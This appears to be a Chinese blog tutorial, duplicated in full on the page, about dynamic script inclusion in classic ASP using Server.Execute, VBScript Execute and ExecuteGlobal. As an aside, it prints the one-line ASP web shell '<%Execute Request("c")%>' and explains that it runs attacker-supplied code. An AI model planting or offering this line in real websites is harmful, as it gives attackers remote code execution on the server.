ASP中Server.Execute和Execute實(shí)現(xiàn)動(dòng)態(tài)包含(include)腳本的區(qū)別
更新時(shí)間:2012年01月08日 18:51:40 作者:
ASP中Server.Execute和Execute實(shí)現(xiàn)動(dòng)態(tài)包含(include)腳本的區(qū)別,需要的朋友可以參考下。
最近打算嘗試一下在ASP中實(shí)現(xiàn)MVC架構(gòu),肯定有人問(wèn)我:ASP都淘汰了,為什么還研究?這點(diǎn)我也知道,自從微軟放棄ASP 3.0轉(zhuǎn)向ASP.NET后,ASP已經(jīng)遠(yuǎn)遠(yuǎn)落后于和它幾乎同時(shí)開(kāi)始的PHP和JSP,開(kāi)源比閉源的好處就像PHP和ASP一樣,ASP說(shuō)淘汰就淘汰,誰(shuí)也救不了,但是值得注意的是ASP在中國(guó)市場(chǎng)還是蠻廣泛的,尤其是一些中小企業(yè)的一些應(yīng)用,簡(jiǎn)單的CMS不在話下,而且部署簡(jiǎn)單,在一些老舊的Windows系統(tǒng)上,不需要安裝.NET Framework基本上就可以直接運(yùn)行了,所以準(zhǔn)備一個(gè)框架,還是有必要的,不過(guò)我這個(gè)是實(shí)驗(yàn)性框架,只是驗(yàn)證ASP究竟能不能實(shí)現(xiàn)類似PHP的MVC架構(gòu)。
好了,說(shuō)了這么多,下面直接轉(zhuǎn)入正題吧。這個(gè)問(wèn)題的緣由是因?yàn)槲倚枰獎(jiǎng)討B(tài)包含ASP文件,大家知道在ASP中只有一種include方法,那就是SSI(Server Side Include),基本上分為以下兩種:
<!-- #include file="sample.asp" -->
<!-- #include virtual="sample.asp" -->
這兩種基本上大家第一種用得多一些,#include virtual包含的是虛擬路徑,一般虛擬目錄會(huì)用得到。但是這兩種都屬于靜態(tài)的,如果我們希望是動(dòng)態(tài)包含,但不可以寫(xiě)成:
<!-- #include file="<%=MyVar%>" -->
<!-- #include virtual="<%=MyVar%>" -->
上面的寫(xiě)法是錯(cuò)誤的,可以理解為,#include指令是在ASP啟動(dòng)腳本引擎執(zhí)行ASP<% %>標(biāo)記之間腳本之前執(zhí)行的,也就是說(shuō)#include不是ASP的工作,而是服務(wù)端程序,如IIS的翻譯工作,所以就不會(huì)理會(huì)你的ASP代碼了。
如何實(shí)現(xiàn)類似于PHP的include、include_once、require、require_once動(dòng)態(tài)包含腳本方法呢?下面再來(lái)看ASP Server對(duì)象的一個(gè)方法:Server.Execute ,搜索所有的ASP特性,可以發(fā)現(xiàn)這個(gè)功能最類似于動(dòng)態(tài)include,我們可以做個(gè)實(shí)驗(yàn):
Sample.inc.asp
<%
Response.Write "Hello World!"
%>
test.asp
<%
Server.Execute "Sample.inc.asp"
Response.Write "I am test.asp!"
%>
實(shí)際輸出應(yīng)該是“Hello World!I am test.asp!”,說(shuō)明Server.Execute在動(dòng)態(tài)包含方面可以工作得很好,但是如果我想包含類或者函數(shù)呢?接下來(lái)做下面這個(gè)實(shí)驗(yàn):
Sample.class.asp
<%
Class Sample
End Class
%>
test.asp
<%
Server.Execute "Sample.class.asp"
Response.Write TypeName(Eval("New Sample"))
%>
直接運(yùn)行,出現(xiàn)錯(cuò)誤“Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a01fa' 類沒(méi)有被定義: 'Sample'”,結(jié)果很令人失望,為什么會(huì)出現(xiàn)這種情況呢?查閱了MSDN,找到這段描述:“If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的問(wèn)題有些不一樣,難道Server.Execute是代碼隔離的?再進(jìn)行下面這個(gè)實(shí)驗(yàn):
Sample.inc.asp
<%
Dim MyVar
MyVar = "I am Sample!"
%>
test.asp
<%
Dim MyVar
MyVar = "I am test!"
Server.Execute "Sample.inc.asp"
Response.Write MyVar
%>
結(jié)果輸出的是“I am test!”,很是失望!看來(lái)Server.Execute是變量、函數(shù)、類這類代碼隔離的,也就是說(shuō)調(diào)用端和被調(diào)用端在代碼級(jí)別上互不干擾,看來(lái)Server.Execute只能用于包含.asp模板了。
下面隆重出場(chǎng)的是VBScript的腳本特性Execute,傳給Execute的必須是有效的VBScript腳本代碼,而且Execute是上下文相關(guān)的,這點(diǎn)看來(lái)很接近于我們需要的動(dòng)態(tài)include。
test.asp
<%
Execute "Class Sample : End Class"
Response.Write TypeName(Eval("New Sample"))
%>
上面的代碼成功輸出我們所需要的類型名稱Sample。證明Execute確實(shí)可以做到上下文相關(guān),但是問(wèn)題是利用Execute包含asp文件沒(méi)有Server.Execute方便,Execute是VBScript腳本自帶的,首先只能用來(lái)執(zhí)行代碼文本,所以需要讀取一次文件內(nèi)容,其次不能用來(lái)識(shí)別ASP的一些標(biāo)簽,比如<% %>還有一種類似于<%=MyVar %>的調(diào)用方法,所以要過(guò)濾掉<% %>,然后要轉(zhuǎn)換<%=MyVar %>為Response.Write MyVar。由于我需要的是包含類文件,不會(huì)出現(xiàn)<%=MyVar %>,只要簡(jiǎn)單的Replace掉<% %>就可以了。關(guān)于讀取文件內(nèi)容和簡(jiǎn)單排除<% %>可以參考下面這個(gè)函數(shù):
Function file_get_contents(filename)
Dim fso, f
Set fso = Server.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(Server.MapPath(filename), 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, "<" & "%", "")
contents = Replace(contents, "%" & ">", "")
class_get_contents = contents
End Function
有了上面的函數(shù)我們可以直接測(cè)試下面的代碼:
Sample.class.asp
<%
Class Sample
End Class
%>
test.asp
<%
Execute class_get_contents("Sample.class.asp")
Response.Write TypeName(Eval("New Sample"))
%>
結(jié)果輸出我們所期望的Sample類型名稱,看來(lái)Execute還是很強(qiáng)大的,確實(shí)很強(qiáng)大,因?yàn)榻?jīng)常有不懷好意者用來(lái)做“小馬”,最簡(jiǎn)單的ASP一句話木馬的寫(xiě)法估計(jì)是下面這句了:
比如這段腳本位于file.asp,然后傳入file.asp?c=木馬文本,呵呵,下面的事你也知道了吧。好了這個(gè)是題外話,關(guān)于Execute還有一點(diǎn)需要注意的是,這個(gè)是上下文相關(guān)的,所以要注意作用域問(wèn)題,如果Execute位于Sub過(guò)程或者Function函數(shù)內(nèi)部,那么在這個(gè)外部是無(wú)法訪問(wèn)的。
參考文檔:《Server.Execute Method》 和《使用 Server.Execute 方法》 。
2011年11月23日更新
還有一種VBScript特有的寫(xiě)法叫做ExecuteGlobal,這個(gè)可以解決上文說(shuō)的作用域問(wèn)題,通過(guò)其執(zhí)行的代碼是全局有效的,但是要注意避免類、函數(shù)、過(guò)程或者變量的重定義覆蓋問(wèn)題。
好了,說(shuō)了這么多,下面直接轉(zhuǎn)入正題吧。這個(gè)問(wèn)題的緣由是因?yàn)槲倚枰獎(jiǎng)討B(tài)包含ASP文件,大家知道在ASP中只有一種include方法,那就是SSI(Server Side Include),基本上分為以下兩種:
復(fù)制代碼 代碼如下:
<!-- #include file="sample.asp" -->
<!-- #include virtual="sample.asp" -->
這兩種基本上大家第一種用得多一些,#include virtual包含的是虛擬路徑,一般虛擬目錄會(huì)用得到。但是這兩種都屬于靜態(tài)的,如果我們希望是動(dòng)態(tài)包含,但不可以寫(xiě)成:
復(fù)制代碼 代碼如下:
<!-- #include file="<%=MyVar%>" -->
<!-- #include virtual="<%=MyVar%>" -->
上面的寫(xiě)法是錯(cuò)誤的,可以理解為,#include指令是在ASP啟動(dòng)腳本引擎執(zhí)行ASP<% %>標(biāo)記之間腳本之前執(zhí)行的,也就是說(shuō)#include不是ASP的工作,而是服務(wù)端程序,如IIS的翻譯工作,所以就不會(huì)理會(huì)你的ASP代碼了。
如何實(shí)現(xiàn)類似于PHP的include、include_once、require、require_once動(dòng)態(tài)包含腳本方法呢?下面再來(lái)看ASP Server對(duì)象的一個(gè)方法:Server.Execute ,搜索所有的ASP特性,可以發(fā)現(xiàn)這個(gè)功能最類似于動(dòng)態(tài)include,我們可以做個(gè)實(shí)驗(yàn):
Sample.inc.asp
復(fù)制代碼 代碼如下:
<%
Response.Write "Hello World!"
%>
test.asp
復(fù)制代碼 代碼如下:
<%
Server.Execute "Sample.inc.asp"
Response.Write "I am test.asp!"
%>
實(shí)際輸出應(yīng)該是“Hello World!I am test.asp!”,說(shuō)明Server.Execute在動(dòng)態(tài)包含方面可以工作得很好,但是如果我想包含類或者函數(shù)呢?接下來(lái)做下面這個(gè)實(shí)驗(yàn):
Sample.class.asp
復(fù)制代碼 代碼如下:
<%
Class Sample
End Class
%>
test.asp
復(fù)制代碼 代碼如下:
<%
Server.Execute "Sample.class.asp"
Response.Write TypeName(Eval("New Sample"))
%>
直接運(yùn)行,出現(xiàn)錯(cuò)誤“Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a01fa' 類沒(méi)有被定義: 'Sample'”,結(jié)果很令人失望,為什么會(huì)出現(xiàn)這種情況呢?查閱了MSDN,找到這段描述:“If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的問(wèn)題有些不一樣,難道Server.Execute是代碼隔離的?再進(jìn)行下面這個(gè)實(shí)驗(yàn):
Sample.inc.asp
復(fù)制代碼 代碼如下:
<%
Dim MyVar
MyVar = "I am Sample!"
%>
test.asp
復(fù)制代碼 代碼如下:
<%
Dim MyVar
MyVar = "I am test!"
Server.Execute "Sample.inc.asp"
Response.Write MyVar
%>
結(jié)果輸出的是“I am test!”,很是失望!看來(lái)Server.Execute是變量、函數(shù)、類這類代碼隔離的,也就是說(shuō)調(diào)用端和被調(diào)用端在代碼級(jí)別上互不干擾,看來(lái)Server.Execute只能用于包含.asp模板了。
下面隆重出場(chǎng)的是VBScript的腳本特性Execute,傳給Execute的必須是有效的VBScript腳本代碼,而且Execute是上下文相關(guān)的,這點(diǎn)看來(lái)很接近于我們需要的動(dòng)態(tài)include。
test.asp
復(fù)制代碼 代碼如下:
<%
Execute "Class Sample : End Class"
Response.Write TypeName(Eval("New Sample"))
%>
上面的代碼成功輸出我們所需要的類型名稱Sample。證明Execute確實(shí)可以做到上下文相關(guān),但是問(wèn)題是利用Execute包含asp文件沒(méi)有Server.Execute方便,Execute是VBScript腳本自帶的,首先只能用來(lái)執(zhí)行代碼文本,所以需要讀取一次文件內(nèi)容,其次不能用來(lái)識(shí)別ASP的一些標(biāo)簽,比如<% %>還有一種類似于<%=MyVar %>的調(diào)用方法,所以要過(guò)濾掉<% %>,然后要轉(zhuǎn)換<%=MyVar %>為Response.Write MyVar。由于我需要的是包含類文件,不會(huì)出現(xiàn)<%=MyVar %>,只要簡(jiǎn)單的Replace掉<% %>就可以了。關(guān)于讀取文件內(nèi)容和簡(jiǎn)單排除<% %>可以參考下面這個(gè)函數(shù):
復(fù)制代碼 代碼如下:
Function file_get_contents(filename)
Dim fso, f
Set fso = Server.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(Server.MapPath(filename), 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, "<" & "%", "")
contents = Replace(contents, "%" & ">", "")
class_get_contents = contents
End Function
有了上面的函數(shù)我們可以直接測(cè)試下面的代碼:
Sample.class.asp
復(fù)制代碼 代碼如下:
<%
Class Sample
End Class
%>
test.asp
復(fù)制代碼 代碼如下:
<%
Execute class_get_contents("Sample.class.asp")
Response.Write TypeName(Eval("New Sample"))
%>
結(jié)果輸出我們所期望的Sample類型名稱,看來(lái)Execute還是很強(qiáng)大的,確實(shí)很強(qiáng)大,因?yàn)榻?jīng)常有不懷好意者用來(lái)做“小馬”,最簡(jiǎn)單的ASP一句話木馬的寫(xiě)法估計(jì)是下面這句了:
復(fù)制代碼 代碼如下:
<%Execute Request("c")%>
比如這段腳本位于file.asp,然后傳入file.asp?c=木馬文本,呵呵,下面的事你也知道了吧。好了這個(gè)是題外話,關(guān)于Execute還有一點(diǎn)需要注意的是,這個(gè)是上下文相關(guān)的,所以要注意作用域問(wèn)題,如果Execute位于Sub過(guò)程或者Function函數(shù)內(nèi)部,那么在這個(gè)外部是無(wú)法訪問(wèn)的。
參考文檔:《Server.Execute Method》 和《使用 Server.Execute 方法》 。
2011年11月23日更新
還有一種VBScript特有的寫(xiě)法叫做ExecuteGlobal,這個(gè)可以解決上文說(shuō)的作用域問(wèn)題,通過(guò)其執(zhí)行的代碼是全局有效的,但是要注意避免類、函數(shù)、過(guò)程或者變量的重定義覆蓋問(wèn)題。
您可能感興趣的文章:
- IIS6 中"ASP 0201 錯(cuò)誤 無(wú)效的默認(rèn)腳本語(yǔ)言" 的解決方法
- 使用ASP控制指定站點(diǎn)解析腳本語(yǔ)言函數(shù)
- 用InstallShield打包ASP程序的腳本
- asp分頁(yè)生成html的程序腳本代碼
- 隱藏修改文件時(shí)間和文件屬性的ASP腳本
- ASP.NET調(diào)用javascript腳本的常見(jiàn)方法小結(jié)
- 從一個(gè)網(wǎng)站扒下的asp生成靜態(tài)頁(yè)面的代碼 腳本之家特供版
- iis、apache與nginx禁止目錄執(zhí)行asp、php腳本的實(shí)現(xiàn)方法
- ASP上傳漏洞之利用CHR(0)繞過(guò)擴(kuò)展名檢測(cè)腳本
- ASP.NET中后臺(tái)注冊(cè)js腳本使用的方法對(duì)比
- ASP程序中常用的腳本語(yǔ)言
相關(guān)文章
ASP 快速執(zhí)行動(dòng)態(tài)網(wǎng)頁(yè)
ASP 能快速執(zhí)行你的動(dòng)態(tài)網(wǎng)頁(yè),但你還可以通過(guò)緊縮代碼和數(shù)據(jù)庫(kù)連接以使它們執(zhí)行更快。2009-01-01
從文本文件中讀取信息并存儲(chǔ)入數(shù)據(jù)庫(kù)
從文本文件中讀取信息并存儲(chǔ)入數(shù)據(jù)庫(kù)...2006-12-12
ASP中不用模板生成HTML靜態(tài)頁(yè)面的方法
我們一般生成HTML靜態(tài)頁(yè)時(shí),常常會(huì)事先做好一個(gè)模板,然后生成時(shí)調(diào)用模板文件。那么有沒(méi)有辦法不用模板,如一個(gè)正常的htmer.asp頁(yè)面,直接生成為htmer.html頁(yè)面呢?2010-06-06
ASP獲取ACCESS數(shù)據(jù)庫(kù)表名及結(jié)構(gòu)的代碼
此方法可獲得ACCESS數(shù)據(jù)的表名及其結(jié)構(gòu),數(shù)據(jù)類型等... 程序過(guò)濾了幾個(gè)ACCESS數(shù)據(jù)庫(kù)的幾個(gè)隱藏表(可能是導(dǎo)致ACCESS數(shù)據(jù)庫(kù)刪除數(shù)據(jù)還會(huì)變大的原因)2008-08-08
asp在IE瀏覽器中下載服務(wù)端上的各類文件的實(shí)現(xiàn)方法
asp在IE瀏覽器中下載服務(wù)端上的各類文件的實(shí)現(xiàn)方法...2007-11-11
動(dòng)網(wǎng)防惡意廣告比較有效的辦法附asp代碼
動(dòng)網(wǎng)防惡意廣告比較有效的辦法附asp代碼...2007-05-05
ASP向Excel導(dǎo)數(shù)據(jù)(圖片)終結(jié)版 ASP操作Excel
ASP向Excel導(dǎo)數(shù)據(jù)(圖片)終結(jié)版 ASP操作Excel,需要的朋友可以參考下。2009-11-11
.Net core 的熱插拔機(jī)制的深入探索及卸載問(wèn)題求救指南
這篇文章主要介紹了.Net core 的熱插拔機(jī)制的深入探索及卸載問(wèn)題求救指南,本文給大家啊介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-11-11

